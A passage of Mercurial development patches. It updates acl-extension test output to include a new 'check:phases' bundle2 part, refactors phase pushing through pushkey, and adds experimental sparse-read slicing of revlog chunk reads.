   transaction abort!
   rollback completed
   abort: No such file or directory: ../acl.config
@@ -933,14 +969,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -967,7 +1006,7 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "betty" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "betty" not allowed on "quux/file.py" (changeset "911600dab2ae")
@@ -1016,14 +1055,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1052,7 +1094,7 @@
   bundle2-input-part: total payload size 1553
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -1101,14 +1143,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1137,7 +1182,7 @@
   bundle2-input-part: total payload size 1553
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -1182,14 +1227,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1214,7 +1262,7 @@
   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
@@ -1257,14 +1305,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1294,7 +1345,7 @@
   bundle2-input-part: total payload size 1553
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -1339,14 +1390,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1373,7 +1427,7 @@
   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
@@ -1455,8 +1509,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -1464,6 +1519,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1498,7 +1555,7 @@
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 3 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -1543,8 +1600,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -1552,6 +1610,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1581,7 +1641,7 @@
   acl: path access granted: "911600dab2ae"
   error: pretxnchangegroup.acl hook failed: acl: user "astro" denied on branch "foobar" (changeset "e8fc755d4d82")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   transaction abort!
   rollback completed
   abort: acl: user "astro" denied on branch "foobar" (changeset "e8fc755d4d82")
@@ -1617,8 +1677,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -1626,6 +1687,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1649,7 +1712,7 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   transaction abort!
   rollback completed
   abort: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
@@ -1687,8 +1750,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -1696,6 +1760,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1719,7 +1785,7 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   transaction abort!
   rollback completed
   abort: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
@@ -1751,8 +1817,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -1760,6 +1827,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1794,7 +1863,7 @@
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 3 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -1844,8 +1913,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -1853,6 +1923,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1887,7 +1959,7 @@
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 3 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -1936,8 +2008,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -1945,6 +2018,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1968,7 +2043,7 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   transaction abort!
   rollback completed
   abort: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
@@ -2005,8 +2080,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -2014,6 +2090,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -2048,7 +2126,7 @@
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 3 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -2091,8 +2169,9 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-bundle: "HG20", 6 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
@@ -2100,6 +2179,8 @@
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 48
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -2123,7 +2204,7 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 4 parts total
+  bundle2-input-bundle: 5 parts total
   transaction abort!
   rollback completed
   abort: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505927857 -7200
#      Wed Sep 20 19:17:37 2017 +0200
# Node ID c1e7ce11db9bec57cb255dd2872c9f4f6097041c
# Parent  aa5e7b4a3a01e562b2d923eb460dcdecef8220f4
phase: isolate logic to update remote phrase through bundle2 pushkey

Move the logic to build bundle2 pushkey part into its dedicated function. It
will help to keep the logic clear when adding support for sending phases change
using 'phase-heads' part.

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -806,8 +806,11 @@
     if 'phases' in pushop.stepsdone:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
-    if not 'pushkey' in b2caps:
-        return
+    if 'pushkey' in b2caps:
+        _pushb2phasespushkey(pushop, bundler)
+
+def _pushb2phasespushkey(pushop, bundler):
+    """push phase information through a bundle2 - pushkey part"""
     pushop.stepsdone.add('phases')
     part2node = []
 
# HG changeset patch
# User Paul Morelle <paul.morelle@octobus.net>
# Date 1507554821 -7200
#      Mon Oct 09 15:13:41 2017 +0200
# Node ID 7891d243d821e4c866e90aaf452b389ad91beade
# Parent  c1e7ce11db9bec57cb255dd2872c9f4f6097041c
revlog: ignore empty trailing chunks when reading segments

When a merge commit creates an empty diff in the revlog, its offset may still
be quite far from the end of the previous chunk.
Skipping these empty chunks may reduce read size significantly.
In most cases, there is no gain, and in some cases, little gain.
On my clone of pypy, `hg manifest` reads 65% less bytes (96140 i/o 275943) for
revision 4260 by ignoring the only empty trailing diff.
For revision 2229, 35% (34557 i/o 53435)
Sadly, this is difficult to reproduce, as hg clone can make its own different
structure every time.

diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -1327,8 +1327,14 @@
         l = []
         ladd = l.append
 
+        firstrev = revs[0]
+        # Skip trailing revisions with empty diff
+        for lastrev in revs[::-1]:
+            if length(lastrev) != 0:
+                break
+
         try:
-            offset, data = self._getsegmentforrevs(revs[0], revs[-1], df=df)
+            offset, data = self._getsegmentforrevs(firstrev, lastrev, df=df)
         except OverflowError:
             # issue4215 - we can't cache a run of chunks greater than
             # 2G on Windows
# HG changeset patch
# User Paul Morelle <paul.morelle@octobus.net>
# Date 1507650627 -7200
#      Tue Oct 10 17:50:27 2017 +0200
# Node ID e2ad93bcc084b97c48f54c179365376edb702858
# Parent  7891d243d821e4c866e90aaf452b389ad91beade
revlog: introduce an experimental flag to slice chunks reads when too sparse

Delta chains can become quite sparse if there is a lot of unrelated data between
relevant pieces. Right now, revlog always reads all the necessary data for the
delta chain in one single read. This can lead to a lot of unrelated data to be
read (see issue5482 for more details).
One can use the `experimental.maxdeltachainspan` option with a large value
(or -1) to easily produce a very sparse delta chain.

This change introduces the ability to slice the chunks retrieval into  multiple
reads, skipping large sections of unrelated data. Preliminary testing shows
interesting results. For example the peak memory consumption to read a manifest
on a large repository is reduced from 600MB to 250MB (200MB without
maxdeltachainspan). However, the slicing itself and the multiple reads can have
an negative impact on performance. This is why the new feature is hidden behind
an experimental flag.

Future changesets will add various parameters to control the slicing heuristics.
We hope to experiment a wide variety of repositories during 4.4 and hopefully
turn the feature on by default in 4.5.
As a first try, the algorithm itself is prone to deep changes. However, we wish
to define APIs and have a baseline to work on.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -411,6 +411,12 @@
 coreconfigitem('experimental', 'spacemovesdown',
     default=False,
 )
+coreconfigitem('experimental', 'sparse-read',
+    default=False,
+)
+coreconfigitem('experimental', 'sparse-read.density-threshold',
+    default=0.25,
+)
 coreconfigitem('experimental', 'treemanifest',
     default=False,
 )
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -608,6 +608,11 @@
                                                  'mmapindexthreshold')
         if mmapindexthreshold is not None:
             self.svfs.options['mmapindexthreshold'] = mmapindexthreshold
+        withsparseread = self.ui.configbool('experimental', 'sparse-read')
+        srdensitythres = float(self.ui.config('experimental',
+                                              'sparse-read.density-threshold'))
+        self.svfs.options['with-sparse-read'] = withsparseread
+        self.svfs.options['sparse-read-density-threshold'] = srdensitythres
 
         for r in self.requirements:
             if r.startswith('exp-compression-'):
diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -161,6 +161,59 @@
     s.update(text)
     return s.digest()
 
+def _slicechunk(revlog, revs):
+    """slice revs to reduce the amount of unrelated data to be read from disk.
+
+    ``revs`` is sliced into groups that should be read in one time.
+    Assume that revs are sorted.
+    """
+    start = revlog.start
+    length = revlog.length
+
+    chunkqueue = collections.deque()
+    chunkqueue.append((revs, 0))
+
+    while chunkqueue:
+        revs, depth = chunkqueue.popleft()
+
+        startbyte = start(revs[0])
+        endbyte = start(revs[-1]) + length(revs[-1])
+        deltachainspan = endbyte - startbyte
+
+        if len(revs) <= 1:
+            yield revs
+            continue
+
+        # Find where is the largest hole (this is where we would split) and
+        # sum up the lengths of useful data to compute the density of the span
+        textlen = 0
+        prevend = None
+        largesthole = 0
+        idxlargesthole = -1
+        for i, rev in enumerate(revs):
+            revstart = start(rev)
+            revlen = length(rev)
+
+            if prevend is not None:
+                hole = revstart - prevend
+                if hole > largesthole:
+                    largesthole = hole
+                    idxlargesthole = i
+
+            textlen += revlen
+            prevend = revstart + revlen
+
+        density = textlen / float(deltachainspan) if deltachainspan > 0 else 1.0
+
+        if density > revlog._srdensitythreshold:
+            yield revs
+            continue
+
+        # Add the left and right parts so that they will be sliced
+        # recursively too
+        chunkqueue.append((revs[:idxlargesthole], depth + 1))
+        chunkqueue.append((revs[idxlargesthole:], depth + 1))
+
 # index v0:
 #  4 bytes: offset
 #  4 bytes: compressed length
@@ -305,6 +358,8 @@
         self._nodepos = None
         self._compengine = 'zlib'
         self._maxdeltachainspan = -1
+        self._withsparseread = False
+        self._srdensitythreshold = 0.25
 
         mmapindexthreshold = None
         v = REVLOG_DEFAULT_VERSION
@@ -331,6 +386,9 @@
                 self._maxdeltachainspan = opts['maxdeltachainspan']
             if mmaplargeindex and 'mmapindexthreshold' in opts:
                 mmapindexthreshold = opts['mmapindexthreshold']
+            self._withsparseread = bool(opts.get('with-sparse-read', False))
+            if 'sparse-read-density-threshold' in opts:
+                self._srdensitythreshold = opts['sparse-read-density-threshold']
 
         if self._chunkcachesize <= 0:
             raise RevlogError(_('revlog chunk cache size %r is not greater '
@@ -1327,26 +1385,32 @@
         l = []
         ladd = l.append
 
-        firstrev = revs[0]
-        # Skip trailing revisions with empty diff
-        for lastrev in revs[::-1]:
-            if length(lastrev) != 0:
-                break
+        if not self._withsparseread:
+            slicedchunks = (revs,)
+        else:
+            slicedchunks = _slicechunk(self, revs)
+
+        for revschunk in slicedchunks:
+            firstrev = revschunk[0]
+            # Skip trailing revisions with empty diff
+            for lastrev in revschunk[::-1]:
+                if length(lastrev) != 0:
+                    break
 
-        try:
-            offset, data = self._getsegmentforrevs(firstrev, lastrev, df=df)
-        except OverflowError:
-            # issue4215 - we can't cache a run of chunks greater than
-            # 2G on Windows
-            return [self._chunk(rev, df=df) for rev in revs]
+            try:
+                offset, data = self._getsegmentforrevs(firstrev, lastrev, df=df)
+            except OverflowError:
+                # issue4215 - we can't cache a run of chunks greater than
+                # 2G on Windows
+                return [self._chunk(rev, df=df) for rev in revschunk]
 
-        decomp = self.decompress
-        for rev in revs:
-            chunkstart = start(rev)
-            if inline:
-                chunkstart += (rev + 1) * iosize
-            chunklength = length(rev)
-            ladd(decomp(buffer(data, chunkstart - offset, chunklength)))
+            decomp = self.decompress
+            for rev in revschunk:
+                chunkstart = start(rev)
+                if inline:
+                    chunkstart += (rev + 1) * iosize
+                chunklength = length(rev)
+                ladd(decomp(buffer(data, chunkstart - offset, chunklength)))
 
         return l
 
# HG changeset patch
# User Paul Morelle <paul.morelle@octobus.net>
# Date 1507993541 -7200
#      Sat Oct 14 17:05:41 2017 +0200
# Node ID 4d5d5009bd7544ac0c2c5366bd04bc4228a5b148
# Parent  e2ad93bcc084b97c48f54c179365376edb702858
revlog-sparse-read: add a lower-threshold for read block size

The option experimental.sparse-read.min-block-size specifies the minimal size
of a deltachain span, under which it won't be split by _slicechunk.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -417,6 +417,9 @@
 coreconfigitem('experimental', 'sparse-read.density-threshold',
     default=0.25,
 )
+coreconfigitem('experimental', 'sparse-read.min-block-size',
+    default='256K',
+)
 coreconfigitem('experimental', 'treemanifest',
     default=False,
 )
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -611,8 +611,11 @@
         withsparseread = self.ui.configbool('experimental', 'sparse-read')
         srdensitythres = float(self.ui.config('experimental',
                                               'sparse-read.density-threshold'))
+        srminblocksize = self.ui.configbytes('experimental',
+                                             'sparse-read.min-block-size')
         self.svfs.options['with-sparse-read'] = withsparseread
         self.svfs.options['sparse-read-density-threshold'] = srdensitythres
+        self.svfs.options['sparse-read-min-block-size'] = srminblocksize
 
         for r in self.requirements:
             if r.startswith('exp-compression-'):
diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -180,7 +180,7 @@
         endbyte = start(revs[-1]) + length(revs[-1])
